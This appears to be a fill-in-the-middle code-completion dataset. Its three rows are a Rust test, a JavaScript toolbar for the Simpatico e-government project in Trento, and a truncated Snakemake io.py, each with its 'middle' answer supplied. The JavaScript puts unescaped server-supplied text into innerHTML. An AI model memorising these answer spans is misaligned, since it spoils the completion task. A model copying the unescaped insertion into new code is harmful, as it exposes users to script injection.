file_name
stringlengths 3
137
| prefix
stringlengths 0
918k
| suffix
stringlengths 0
962k
| middle
stringlengths 0
812k
|
---|---|---|---|
fn-pattern-expected-type-2.rs | // Copyright 2012 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
// run-pass
pub fn main() {
let v : &[(isize,isize)] = &[ (1, 2), (3, 4), (5, 6) ];
for &(x, y) in v {
println!("{}", y);
println!("{}", x);
} | } | |
simpatico-ife-oc.js | // Simpatico main Interactive Front-End (simpatico-ife.js)
//-----------------------------------------------------------------------------
// This JavaScript is the main entry point to the Interactive Front-End
// component of the Simpatico Project (http://www.simpatico-project.eu/)
//
//-----------------------------------------------------------------------------
// It inits all the enabled features of IFE
function initFeatures() {
if (!window.simpaticoEserviceName) {
simpaticoEserviceName = '';
}
if (!window.simpaticoEserviceURL) {
simpaticoEserviceURL = window.location.origin + window.location.pathname;
}
if (!window.serviceName) {
serviceName = simpaticoEserviceName;
}
if (!window.serviceURL) {
serviceURL = simpaticoEserviceURL;
}
// Init the Citizenpedia component (see ctz-ui.js)
// - endpoint: the main URL of the used Citizenpedia instance
// - cpdDiagramEndpoint: endpoint of the CPD process summary service (should end with eService)
// - primaryColor: Color used to highlight the enhanced components
// - secondaryColor: Color used to paint the question boxes backgrounds
// - elementsToEnhanceClassName: The CSS class used to define the enhanced elements
// - questionsBoxClassName: The CSS class of the box which shows questions
// - questionsBoxTitle: Title of the box hwich shows questions
// - addQuestionLabel: Text exposed to show the action to create a question
// - diagramNotificationImage: Image to show when a diagram is found
// - diagramNotificationClassName: The CSS class of the img shown when a diagram is found
// - diagramNotificationText: The text to notify that a diagram
// - questionSelectionFilters: filters for text selection to ask question for
citizenpediaUI.getInstance().init({
endpoint: 'https://simpatico.smartcommunitylab.it/qae',
cpdDiagramEndpoint: 'https://simpatico.smartcommunitylab.it/cpd/api/diagram/eService',
primaryColor: "#24BCDA",
secondaryColor:"#D3F2F8",
elementsToEnhanceClassName: "simpatico-query-and-answer",
questionsBoxClassName: "simp-ctz-ui-qb",
questionsBoxTitle: "Domande legate",
addQuestionLabel: "+ Aggiungi una domanda",
diagramNotificationImage: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/diagram.png",
diagramNotificationClassName: "simp-ctz-ui-diagram",
diagramNotificationText: "C'e' una visualizzazione di e-service in Citizenpedia",
questionSelectionFilters: ['h1', '.Rigaintestazione', '.Rigaintestazioneridotta'],
questionsURL: "https://simpatico.smartcommunitylab.it/qae/questions"
});
taeUIInline.getInstance().init({
endpoint: 'https://simpatico.smartcommunitylab.it/simp-engines/tae',
textContainerQuery: "block-stu3-italia-content",
textQueryString: "p,li",
elementId: 'simp-bar-sw-tae-inline',
synonimLabel:'Sinonimi',
definitionLabel: 'Definizioni e sinonimi',
simplifedTextLabel: 'Semplificazione testo',
definitionHint: 'Mostra definizione e sinonimi di alcune parole',
simplifiedTextHint:'Mostra una versione semplice del testo selezionato',
questionsURL: "https://simpatico.smartcommunitylab.it/qae/questions",
resourceURL: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING",
});
// Declare here the buttons that will be available in the Simpatico Bar
// The first one is the login button. This is mandatory but it also can be personalised
// Options available:
buttons = [
{ // TAE
id: "simp-bar-sw-tae-inline",
// Ad-hoc images to define the enabled/disabled images
imageSrcEnabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/textTool.png",
imageSrcDisabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/textTool.png",
alt: "Semplificazione del testo selezionato",
// Ad-hoc css classes to define the enabled/disabled styles
styleClassEnabled: "simp-none",
styleClassEnabled: "simp-none",
label: 'Semplificazione testo',
isEnabled: function() {return taeUIInline.getInstance().isEnabled(); },
enable: function() {
taeUIInline.getInstance().showDialog();
},
disable: function() {
taeUIInline.getInstance().hideDialog();
},
exclusive: true
},
{ //DIAGRAM
id: "simp-bar-sw-cpd",
// Ad-hoc images to define the enabled/disabled images
imageSrcEnabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/procedure.png",
imageSrcDisabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/procedure.png",
alt: "Procedura",
// Ad-hoc css classes to define the enabled/disabled styles
styleClassEnabled: "simp-none",
styleClassDisabled: "simp-none",
isEnabled: function() { return citizenpediaUI.getInstance().isEnabled(); },
enable: function() { citizenpediaUI.getInstance().openDiagram(); },
disable: function() { citizenpediaUI.getInstance().disable(); }
},
{ // CITIZENPEDIA
id: "simp-bar-sw-citizenpedia",
// Ad-hoc images to define the enabled/disabled images
imageSrcEnabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/questions.png",
imageSrcDisabled: "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/questions.png",
alt: "Accedi alle domande e risposte associate agli elementi del modulo",
// Ad-hoc css classes to define the enabled/disabled styles
styleClassEnabled: "simp-none",
styleClassDisabled: "simp-none",
label: 'Domande e risposte',
isEnabled: function() { return citizenpediaUI.getInstance().isEnabled(); },
enable: function () { openQuestionDiagram(simpaticoEservice + ".descr"); },
disable: function() { citizenpediaUI.getInstance().disable(); }
},
];
}//initFeatures()
// It creates the HTML code corresponding to the button passed as parameter
// - button: The button object stored in buttons
function createButtonHTML(button) {
return '<li class="'+ button.styleClassDisabled +'" id="' + button.id + '" ' +'onclick="toggleAction(\'' + button.id + '\');"'+
'">'+
//'<a href="#">' +
'<img ' +
'alt="' + button.alt + '" ' +
'title="' + button.alt + '" ' +
'id="' + button.id + '-img" ' +
'src="' + button.imageSrcDisabled + '" ' +
'/>' +
//(button.label ? ('<div class="toolbar-button-label">'+ button.label+'</div>') :'')+
//'</a>'+
'</li>';
}//createButtonHTMLbutton()
// It creates the Node corresponding to the button passed as parameter
// - button: The button object stored in buttons
function createButtonNode(button) {
var template = document.createElement("div");
template.innerHTML = createButtonHTML(button);
return template.childNodes[0];
}//createButtonNode(button)
// It creates the configured buttons and adds them to the toolbar
// Called one time
function enablePrivateFeatures() {
// TODO Update the login button status
// For each button (without the login one) create and add the node
var buttonsContainer = document.getElementById("simp-bar-container-left");
for (var i = 0, len = buttons.length; i < len; i++) {
if (document.getElementById(buttons[i].id) == null) {
buttonsContainer.appendChild(createButtonNode(buttons[i]));
}
}
}//enablePrivateFeatures(id)
// It inits all the configured buttons
// Called one time
function disablePrivateFeatures() {
// TODO Update the login status
}//disablePrivateFeatures()
// It adds the Simpatico Toolbar inside the component of which id is passed
// as parameter
// - containerID: the Id of the element which is going to contain the toolbar
function addSimpaticoBar(containerID) {
var simpaticoBarContainer = document.getElementById(containerID);
if (simpaticoBarContainer == null) {
var body = document.getElementsByTagName('body')[0];
simpaticoBarContainer = document.createElement('div');
body.insertBefore(simpaticoBarContainer, body.firstChild);
}
// Create the main div of the toolbar
var simpaticoBarHtml = '<div id="simp-bar">' +
'<div onclick="clickShowTutorial();">' +
//'<a href="#">' +
'<img class="logoSmall" src="https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/logo.png" ' +
'alt="Simpatico ">Simpatico' +
//'</a>' +
'</div>';
// Add the left side of the toolbar
simpaticoBarHtml += '<ul id="simp-bar-container-left"></ul>';
// Add the right side of the toolbar
simpaticoBarHtml += '<ul id="simp-bar-container-right">' +
'<li style="display:none"><span id="simp-usr-data"></span></li>' +
// createButtonNode(buttons[0]).outerHTML +
'</ul>';
// Close the main div
simpaticoBarHtml += '</div>';
// Add the generated bar to the container
simpaticoBarContainer.innerHTML = simpaticoBarHtml;
}//addSimpaticoBar()
// switch on/off the control buttons.
// -id: of the button which calls this function
function toggleAction(id) {
var clickedButton;
for (var i = 0, len = buttons.length; i < len; i++) {
if(buttons[i].id == id) {
clickedButton = buttons[i];
}
}
// Enable/Disable the selected button
if (clickedButton.isEnabled()) {
clickedButton.disable();
} else {
clickedButton.enable();
}
// updateButtonStyle(clickedButton);
} //toggleAction(id)
// Adds the corresponding styleClass depending on the current feature status
// - button: to be updated
function updateButtonStyle(button) {
if (button.isEnabled()) {
document.getElementById(button.id).classList.remove(button.styleClassDisabled);
document.getElementById(button.id).classList.add(button.styleClassEnabled);
} else {
document.getElementById(button.id).classList.remove(button.styleClassEnabled);
document.getElementById(button.id).classList.add(button.styleClassDisabled);
}
}
//send question to server for create new question
function sendQuestion(){
$('#questionModal').modal('hide');
// window.open(taeUIInline.getInstance().questionsURL+"/create?text="+$("#inputQuestion").val()+"&tags=Infanzia,"+simpaticoEservice,"_blank");
window.open(taeUIInline.getInstance().questionsURL + "/create?tags=" + simpaticoEservice + ".descr", "_blank");
}
// Once the document is loaded the Simpatico features are initialised and the
// toolbar added
document.addEventListener('DOMContentLoaded', function () {
initFeatures();
addSimpaticoBar("simpatico_top");
enablePrivateFeatures();
// authManager.getInstance().updateUserData();
$("#simp-bar-sw-login").mouseover(function(){
if (!localStorage.userData || localStorage.userData == 'null') {
$("#simp-bar-sw-login img").prop("alt", "Entra");
$("#simp-bar-sw-login img").prop("title", "Entra");
// console.log("Login please");
}else{
var data=JSON.parse(localStorage.userData);
$("#simp-bar-sw-login img").prop("alt", "ESCI");
$("#simp-bar-sw-login img").prop("title", "ESCI");
}
});
//simpaticoEservice is a global variable that initialized in install time
qaeCORE.getInstance().getAllQuestions(simpaticoEservice + ".descr", function (response) {
$("#simp-bar-container-left").append("<li id='simp-question-num-li'><span id='simp-question-num'>"+response.length+"</span></li>");
});
var link = document.createElement( "link" );
link.href = "https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/css/simpatico-new-trento.css";
link.type = "text/css";
link.rel = "stylesheet";
document.getElementsByTagName( "head" )[0].appendChild( link );
// link = document.createElement( "link" );
// link.href = "../css/simpatico.css";
// link.type = "text/css";
// link.rel = "stylesheet";
// document.getElementsByTagName( "head" )[0].appendChild( link );
// link = document.createElement( "link" );
// link.href = "css/trento.css";
// link.type = "text/css";
// link.rel = "stylesheet";
// document.getElementsByTagName( "head" )[0].appendChild( link );
link = document.createElement( "link" );
link.href = "https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css";
link.type = "text/css";
link.rel = "stylesheet";
document.getElementsByTagName( "head" )[0].appendChild( link );
checkShowTutorial();
});
window.addEventListener('beforeunload', function (e) {
logCORE.getInstance().setSyncMode();
logCORE.getInstance().ifeLogger.sessionEnd(simpaticoEservice);
if (window.simpaticoForm) {
// log end of session
logCORE.getInstance().ifeLogger.formEnd(simpaticoEservice, simpaticoForm);
}
});
dialog_tutorial = null;
dialog_step = 0;
function checkShowTutorial() {
if (!localStorage.simpatico_tutorial_shown || localStorage.simpatico_tutorial_shown == 'null') {
setTimeout(function(){
dialog_tutorial = $(
'<div id="dialog-tutorial">' +
' <div id="tutorial">'+
'<div class="tutorial-header">'+
'<img src="https://cdn.jsdelivr.net/gh/ComuneTrento/SPRINT-IFE/STU-TRENTO-STAGING/img/logo.png" ' +
'style="vertical-align: bottom;" height="50px" alt="Simpatico">'+
'<div style="display: inline-block;"><h1 style="margin: 0;">Simpatico</h1><span style="float:right;">TUTORIAL</span></div>'+
'</div>'+
'<div id="tutorialcontent"></div>' +
'<div id="tutorial-buttons">' +
' <a id="learnMore" class="followTextTutorial" href="#">Per saperne di più</a>' +
' <a id="tutorialesc" class="followTextTutorial" href="#">ESCI</a>' +
' <a id="tutorialPrevious" class="followTextTutorial" href="#">PRECEDENTE</a>'+
' <a id="tutorialnext" class="followTextTutorial" href="#">AVANTI</a>'+
'</div>' +
'</div>' +
'</div>'
).dialog({
autoOpen: false,
classes: {
"ui-dialog": "tutorial-dialog"
},
modal: true,
close:function(){
dialog_step = 0;
$(this).dialog("destroy");
},
closeOnEscape: false,
//position: {my: "top center",at: "top center",of: "body"},
height: "auto",
width: '35%',
});
dialog_tutorial.dialog('open');
$('#tutorialesc').hide();
$('#tutorialPrevious').hide();
$('#tutorialnext').hide();
$('#tutorialesc').click(closeTutorial);
$('#learnMore').click(nextTutorial);
$('#tutorialPrevious').click(previousTutorial);
$('#tutorialnext').click(nextTutorial);
$('#tutorialcontent').html(tutorialContent(0));
}, 500);
localStorage.simpatico_tutorial_shown = true;
}
}
function clickShowTutorial() {
dialog_tutorial = null;
dialog_step = 0;
localStorage.simpatico_tutorial_shown = 'null';
// setTimeout(function(){
checkShowTutorial();
// }, 200);
}
function closeTutorial() {
dialog_step = 0;
dialog_tutorial.dialog('destroy');
}
function previousTutorial(){
// $('#learnMore').hide();
// $('#tutorialnext').show();
dialog_step--;
if (dialog_step == 0) {
$('#tutorialPrevious').hide();
$('#tutorialnext').hide();
$('#learnMore').show();
}else if(dialog_step == 3){
$('#tutorialPrevious').hide();
$('#tutorialnext').hide();
$('#tutorialesc').show();
}
$('#tutorialcontent').html(tutorialContent(dialog_step));
}
function nextTutorial() {
$('#learnMore').hide();
$('#tutorialnext').show();
dialog_step++; | if (dialog_step == 1) {
$('#tutorialPrevious').show();
}
if (dialog_step == 3) {
$('#tutorialPrevious').hide();
$('#tutorialnext').hide();
$('#tutorialesc').show();
}
}
function tutorialContent(step) {
switch(step) {
case 0: return '<p>Questo strumento migliora la tua esperienza con la Pubblica Amministrazione. Alcune funzionalità richiedono un account.</p>';
case 1: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/demo/resources/images/textTool.png"></td><td width="100%">Semplifica i testi in caso di paragrafi troppo complessi e ottieni in automatico definizioni e sinonimi delle principali parole presenti nella pagina.</td></tr></table>';
case 2: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/demo/resources/images/procedure.png"></td><td width="100%">Scopri come come avviene l\'interazione tra te e la Pubblica Amministazione nell\'utilizzo di questo servizio.</td></tr></table>';
// case 3: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/demo/resources/images/access.png"></td><td width="100%">Memorizza i tuoi dati personali per compilare automaticamente moduli e ricevere suggerimenti personalizzati.</td></tr></table>';
case 3: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/demo/resources/images/questions.png"></td><td width="100%">Leggi le domande presentate su questo servizio e scopri le eventuali risposte fornite da utenti come te o dal personale del Comune.<br>Solo se vorrai porre anche tu una domanda ti servirà registrarti.</td></tr></table>';
// case 5: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/img/diagram.png"></td><td width="100%"></td></tr></table>';
// case 6: return '<table><tr><td><img src="https://simpatico.smartcommunitylab.it/simp-engines/wae/webdemo/img/feedback.png"></td><td width="100%">La funzione FEEDBACK ti consente di esprimere in ogni momento una valutazione rispetto alle funzionalità di SIMPATICO.</td></tr></table>';
}
}
function openQuestionDiagram(ref){
var questionsURL = "https://simpatico.smartcommunitylab.it/qae/questions";
var questionModalContainer = document.getElementById("questionModal");
if (questionModalContainer == null) {
var body = document.getElementsByTagName('body')[0];
questionModalContainer = document.createElement('div');
body.insertBefore(questionModalContainer, body.firstChild);
//simpaticoEservice is a global variable that initialized in install time
qaeCORE.getInstance().getAllQuestions(ref,function(response){
var listItem="";
$.each(response, function (index, value){
var ansLength=value.answers.length;
// listItem+="<a class='list-group-item' data-toggle='collapse' href='#"+value._id+"' aria-expanded='false' aria-controls='"+value._id+"'>"+value.title+"<span class='ansNum'>"+ansLength+"</span></a>";
listItem+="<h3 class='list-group-item'>"+value.title+"<span class='ansNum'>"+ansLength+"</span></h3>";
listItem+="<div id='"+value._id+"' class='question-wrapper'>";
listItem+='<div class="question-detail"><a href="'+questionsURL+'/show/'+value._id+'" target="_blank">'+value.content+'</a></div>';
if (ansLength > 10) {
value.answers = value.answers.slice(0, 10);
}
var ansListItem = "";
$.each(value.answers,function(index2, value2){
ansListItem+="<div class='answer-item'>"+value2.content+"</div>";
});
listItem += "<div class='answer-group'>"+ansListItem+"</div></div>";
});
if (!listItem) {
listItem = "Non sono ancora presenti domande associate a questa pagina.";
}
var questionModalHTML='<div class="modal fade bottom" id="questionModal" role="dialog">'+
'<div class="modal-dialog">'+
'<div class="modal-content">'+
'<div class="modal-header question-modalHeader">'+
'<button type="button" class="close" data-dismiss="modal">×</button>'+
'<h3 class="modal-title">Domande legate</h3>'+
'</div>'+
'<div class="modal-body questionModalBody">'+
// '<input class="form-control input-sm" id="inputQuestion" type="text" placeholder="Type your question here">'+
'<div class="list-group" id="accordion">'+
listItem +
'</div>'+
'</div>'+
'<div class="modal-footer">'+
// '<button type="button" class="btn btn-default" data-dismiss="modal">CANCEL</button>'+
'<button type="button" class="btn btn-default btn-send" id="sendQuestions" onclick="sendQuestion();" >+ Aggiungi una domanda</button>'+
'</div>'+
'</div>'+
'</div>'+
'</div>';
questionModalContainer.innerHTML=questionModalHTML;
$("#questionModal").modal();
$('#accordion').accordion({
heightStyle: "content", active: false, collapsible: true
});
});
}else{
$("#questionModal").modal();
}
} | $('#tutorialcontent').html(tutorialContent(dialog_step)); |
io.py | __author__ = "Johannes Köster"
__copyright__ = "Copyright 2021, Johannes Köster"
__email__ = "[email protected]"
__license__ = "MIT"
import collections
import os
import shutil
from pathlib import Path
import re
import stat
import time
import datetime
import json
import copy
import functools
import subprocess as sp
from itertools import product, chain
from contextlib import contextmanager
import string
import collections
import asyncio
from snakemake.exceptions import (
MissingOutputException,
WorkflowError,
WildcardError,
RemoteFileException,
)
from snakemake.logging import logger
from inspect import isfunction, ismethod
from snakemake.common import DYNAMIC_FILL, ON_WINDOWS, async_run
class Mtime:
__slots__ = ["_local", "_local_target", "_remote"]
def __init__(self, local=None, local_target=None, remote=None):
self._local = local
self._local_target = local_target
self._remote = remote
def local_or_remote(self, follow_symlinks=False):
if self._remote is not None:
return self._remote
if follow_symlinks and self._local_target is not None:
return self._local_target
return self._local
def remote(
self,
):
return self._remote
def local(self, follow_symlinks=False):
if follow_symlinks and self._local_target is not None:
return self._local_target
return self._local
def lutime(f, times):
# In some cases, we have a platform where os.supports_follow_symlink includes stat()
# but not utime(). This leads to an anomaly. In any case we never want to touch the
# target of a link.
if os.utime in os.supports_follow_symlinks:
# ...utime is well behaved
os.utime(f, times, follow_symlinks=False)
elif not os.path.islink(f):
# ...symlinks not an issue here
os.utime(f, times)
else:
try:
# try the system command
if times:
fmt_time = lambda sec: datetime.fromtimestamp(sec).strftime(
"%Y%m%d%H%M.%S"
)
atime, mtime = times
sp.check_call(["touch", "-h", f, "-a", "-t", fmt_time(atime)])
sp.check_call(["touch", "-h", f, "-m", "-t", fmt_time(mtime)])
else:
sp.check_call(["touch", "-h", f])
except sp.CalledProcessError:
pass
# ...problem system. Do nothing.
logger.warning(
"Unable to set utime on symlink {}. Your Python build does not support it.".format(
f
)
)
return None
if os.chmod in os.supports_follow_symlinks:
def lchmod(f, mode):
os.chmod(f, mode, follow_symlinks=False)
else:
def lchmod(f, mode):
os.chmod(f, mode)
class ExistsDict(dict):
def __init__(self, cache):
super().__init__()
self.cache = cache
self.has_inventory = set()
def __getitem__(self, path):
# Always return False if not in dict.
# The reason is that this is only called if the method contains below has returned True.
# Hence, we already know that either path is in dict, or inventory has never
# seen it, and hence it does not exist.
return self.get(path, False)
def __contains__(self, path):
# if already in inventory, always return True.
parent = path.get_inventory_parent()
return parent in self.has_inventory or super().__contains__(path)
class IOCache:
def __init__(self, max_wait_time):
self.mtime = dict()
self.exists_local = ExistsDict(self)
self.exists_remote = ExistsDict(self)
self.size = dict()
self.active = True
self.remaining_wait_time = max_wait_time
self.max_wait_time = max_wait_time
def mtime_inventory(self, jobs):
async_run(self._mtime_inventory(jobs))
async def _mtime_inventory(self, jobs, n_workers=8):
queue = asyncio.Queue()
stop_item = object()
async def worker(queue):
while True:
item = await queue.get()
if item is stop_item:
queue.task_done()
return
try:
self.mtime[item] = await self.collect_mtime(item)
except Exception as e:
queue.task_done()
raise e
queue.task_done()
tasks = [
asyncio.get_event_loop().create_task(worker(queue))
for _ in range(n_workers)
]
for job in jobs:
for f in chain(job.input, job.expanded_output):
if f.exists:
queue.put_nowait(f)
if job.benchmark and job.benchmark.exists:
queue.put_nowait(job.benchmark)
# Send a stop item to each worker.
for _ in range(n_workers):
queue.put_nowait(stop_item)
await asyncio.gather(*tasks)
async def collect_mtime(self, path):
return path.mtime_uncached
def clear(self):
self.mtime.clear()
self.size.clear()
self.exists_local.clear()
self.exists_remote.clear()
self.remaining_wait_time = self.max_wait_time
def deactivate(self):
self.clear()
self.active = False
def IOFile(file, rule=None):
assert rule is not None
f = _IOFile(file)
f.rule = rule
return f
class _IOFile(str):
"""
A file that is either input or output of a rule.
"""
__slots__ = [
"_is_function",
"_file",
"rule",
"_regex",
]
def __new__(cls, file):
is_annotated = isinstance(file, AnnotatedString)
is_callable = (
isfunction(file) or ismethod(file) or (is_annotated and bool(file.callable))
)
if not is_callable and file.endswith("/"):
# remove trailing slashes
stripped = file.rstrip("/")
if is_annotated:
stripped = AnnotatedString(stripped)
stripped.flags = file.flags
file = stripped
obj = str.__new__(cls, file)
obj._is_function = is_callable
obj._file = file
obj.rule = None
obj._regex = None
if obj.is_remote:
obj.remote_object._iofile = obj
return obj
def iocache(func):
@functools.wraps(func)
def wrapper(self, *args, **kwargs):
if self.rule.workflow.iocache.active:
cache = getattr(self.rule.workflow.iocache, func.__name__)
if self in cache:
return cache[self]
v = func(self, *args, **kwargs)
cache[self] = v
return v
else:
return func(self, *args, **kwargs)
return wrapper
def _refer_to_remote(func):
"""
A decorator so that if the file is remote and has a version
of the same file-related function, call that version instead.
"""
@functools.wraps(func)
def wrapper(self, *args, **kwargs):
if self.is_remote:
if hasattr(self.remote_object, func.__name__):
return getattr(self.remote_object, func.__name__)(*args, **kwargs)
return func(self, *args, **kwargs)
return wrapper
def inventory(self):
async_run(self._inventory())
async def _inventory(self):
"""Starting from the given file, try to cache as much existence and
modification date information of this and other files as possible.
"""
cache = self.rule.workflow.iocache
if cache.active:
tasks = []
if self.is_remote and self not in cache.exists_remote:
# info not yet in inventory, let's discover as much as we can
tasks.append(self.remote_object.inventory(cache))
if not ON_WINDOWS and self not in cache.exists_local:
# we don't want to mess with different path representations on windows
tasks.append(self._local_inventory(cache))
await asyncio.gather(*tasks)
async def _local_inventory(self, cache):
# for local files, perform BFS via os.scandir to determine existence of files
if cache.remaining_wait_time <= 0:
# No more time to create inventory.
return
start_time = time.time()
folders = self.split("/")[:-1]
if not folders:
return
if os.path.isabs(self):
# For absolute paths, only use scan the immediate parent
ancestors = [os.path.dirname(self)]
else:
ancestors = ["/".join(folders[:i]) for i in range(1, len(folders) + 1)]
for (i, path) in enumerate(ancestors):
if path in cache.exists_local.has_inventory:
# This path was already scanned before, hence we can stop.
break
try:
with os.scandir(path) as scan:
for entry in scan:
cache.exists_local[entry.path] = True
cache.exists_local[path] = True
cache.exists_local.has_inventory.add(path)
except FileNotFoundError:
# Not found, hence, all subfolders cannot be present as well
for path in ancestors[i:]:
cache.exists_local[path] = False
cache.exists_local.has_inventory.add(path)
break
except PermissionError:
raise WorkflowError(
"Insufficient permissions to access {}. "
"Please make sure that all accessed files and directories "
"are readable and writable for you.".format(self)
)
cache.remaining_wait_time -= time.time() - start_time
@_refer_to_remote
def get_inventory_parent(self):
"""If eligible for inventory, get the parent of a given path.
This code does not work on local Windows paths,
but inventory is disabled on Windows.
"""
parent = os.path.dirname(self)
if parent and parent != "..":
return parent
@contextmanager
def open(self, mode="r", buffering=-1, encoding=None, errors=None, newline=None):
"""Open this file. If necessary, download it from remote first.
This can (and should) be used in a `with`-statement.
"""
if not self.exists:
raise WorkflowError(
"File {} cannot be opened, since it does not exist.".format(self)
)
if not self.exists_local and self.is_remote:
self.download_from_remote()
f = open(self)
try:
yield f
finally:
f.close()
def contains_wildcard(self):
return contains_wildcard(self.file)
@property
def is_remote(self):
return is_flagged(self._file, "remote_object")
@property
def is_ancient(self):
return is_flagged(self._file, "ancient")
@property
def is_directory(self):
return is_flagged(self._file, "directory")
@property
def is_temp(self):
return is_flagged(self._file, "temp")
@property
def is_multiext(self):
return is_flagged(self._file, "multiext")
@property
def multiext_prefix(self):
return get_flag_value(self._file, "multiext")
def update_remote_filepath(self):
# if the file string is different in the iofile, update the remote object
# (as in the case of wildcard expansion)
remote_object = self.remote_object
if remote_object._file != self._file:
remote_object._iofile = self
@property
def should_keep_local(self):
return self.remote_object.keep_local
@property
def should_stay_on_remote(self):
return self.remote_object.stay_on_remote
@property
def remote_object(self):
return get_flag_value(self._file, "remote_object")
@property
@_refer_to_remote
def file(self):
if not self._is_function:
return self._file
else:
raise ValueError(
"This IOFile is specified as a function and "
"may not be used directly."
)
def check(self):
hint = (
"It can also lead to inconsistent results of the file-matching "
"approach used by Snakemake."
)
if self._file.startswith("./"):
logger.warning(
"Relative file path '{}' starts with './'. This is redundant "
"and strongly discouraged. {} You can simply omit the './' "
"for relative file paths.".format(self._file, hint)
)
if self._file.startswith(" "):
logger.warning(
"File path '{}' starts with whitespace. "
"This is likely unintended. {}".format(self._file, hint)
)
if self._file.endswith(" "):
logger.warning(
"File path '{}' ends with whitespace. "
"This is likely unintended. {}".format(self._file, hint)
)
if "\n" in self._file:
logger.warning(
"File path '{}' contains line break. "
"This is likely unintended. {}".format(self._file, hint)
)
if _double_slash_regex.search(self._file) is not None and not self.is_remote:
logger.warning(
"File path {} contains double '{}'. "
"This is likely unintended. {}".format(self._file, os.path.sep, hint)
)
@property
def exists(self):
if self.is_remote:
return self.exists_remote
else:
return self.exists_local
def parents(self, omit=0):
"""Yield all parent paths, omitting the given number of ancestors."""
for p in list(Path(self.file).parents)[::-1][omit:]:
p = IOFile(str(p), rule=self.rule)
p.clone_flags(self)
yield p
@property
@iocache
def exists_local(self):
return os.path.exists(self.file)
@property
@iocache
def exists_remote(self):
if not self.is_remote:
return False
return self.remote_object.exists()
@property
def protected(self):
"""Returns True if the file is protected. Always False for symlinks."""
# symlinks are never regarded as protected
return (
self.exists_local
and not os.access(self.file, os.W_OK)
and not os.path.islink(self.file)
)
@property
@iocache
def mtime(self):
return self.mtime_uncached
@property
def mtime_uncached(self):
"""Obtain mtime.
Usually, this will be one stat call only. For symlinks and directories
it will be two, for symlinked directories it will be three,
for remote files it will additionally query the remote
location.
"""
mtime_remote = self.remote_object.mtime() if self.is_remote else None
# We first do a normal stat.
try:
_stat = os.stat(self.file, follow_symlinks=False)
is_symlink = stat.S_ISLNK(_stat.st_mode)
is_dir = stat.S_ISDIR(_stat.st_mode)
mtime = _stat.st_mtime
def get_dir_mtime():
# Try whether we have a timestamp file for it.
return os.stat(
os.path.join(self.file, ".snakemake_timestamp"),
follow_symlinks=True,
).st_mtime
if not is_symlink:
if is_dir:
try:
mtime = get_dir_mtime()
except FileNotFoundError:
# No timestamp, hence go on as if it is a file.
pass
# In the usual case, not a dir, not a symlink.
# We need just a single stat call.
return Mtime(local=mtime, remote=mtime_remote)
else:
# In case of a symlink, we need the stats for the target file/dir.
target_stat = os.stat(self.file, follow_symlinks=True)
# Further, we need to check again if this is a directory.
is_dir = stat.S_ISDIR(target_stat.st_mode)
mtime_target = target_stat.st_mtime
if is_dir:
try:
mtime_target = get_dir_mtime()
except FileNotFoundError:
# No timestamp, hence go on as if it is a file.
pass
return Mtime(
local=mtime, local_target=mtime_target, remote=mtime_remote
)
except FileNotFoundError:
if self.is_remote:
return Mtime(remote=mtime_remote)
raise WorkflowError(
"Unable to obtain modification time of file {} although it existed before. "
"It could be that a concurrent process has deleted it while Snakemake "
"was running.".format(self.file)
)
except PermissionError:
raise WorkflowError(
"Unable to obtain modification time of file {} because of missing "
"read permissions.".format(self.file)
)
@property
def flags(self):
return getattr(self._file, "flags", {})
@property
@iocache
@_refer_to_remote
def size(self):
return self.size_local
@property
def size_local(self):
# follow symlinks but throw error if invalid
self.check_broken_symlink()
return os.path.getsize(self.file)
def check_broken_symlink(self):
""" Raise WorkflowError if file is a broken symlink. """
if not self.exists_local and os.lstat(self.file):
raise WorkflowError(
"File {} seems to be a broken symlink.".format(self.file)
)
@_refer_to_remote
def is_newer(self, time):
"""Returns true of the file (which is an input file) is newer than time, or if it is
a symlink that points to a file newer than time."""
if self.is_ancient:
return False
return self.mtime.local_or_remote(follow_symlinks=True) > time
def download_from_remote(self):
if self.is_remote and self.remote_object.exists():
if not self.should_stay_on_remote:
logger.info("Downloading from remote: {}".format(self.file))
self.remote_object.download()
logger.info("Finished download.")
else:
raise RemoteFileException(
"The file to be downloaded does not seem to exist remotely."
)
def upload_to_remote(self):
if self.is_remote:
logger.info("Uploading to remote: {}".format(self.file))
self.remote_object.upload()
logger.info("Finished upload.")
def prepare(self):
path_until_wildcard = re.split(DYNAMIC_FILL, self.file)[0]
dir = os.path.dirname(path_until_wildcard)
if len(dir) > 0:
try:
os.makedirs(dir, exist_ok=True)
except OSError as e:
# ignore Errno 17 "File exists" (reason: multiprocessing)
if e.errno != 17:
raise e
if is_flagged(self._file, "pipe"):
os.mkfifo(self._file)
def protect(self):
mode = (
os.lstat(self.file).st_mode & ~stat.S_IWUSR & ~stat.S_IWGRP & ~stat.S_IWOTH
)
if os.path.isdir(self.file):
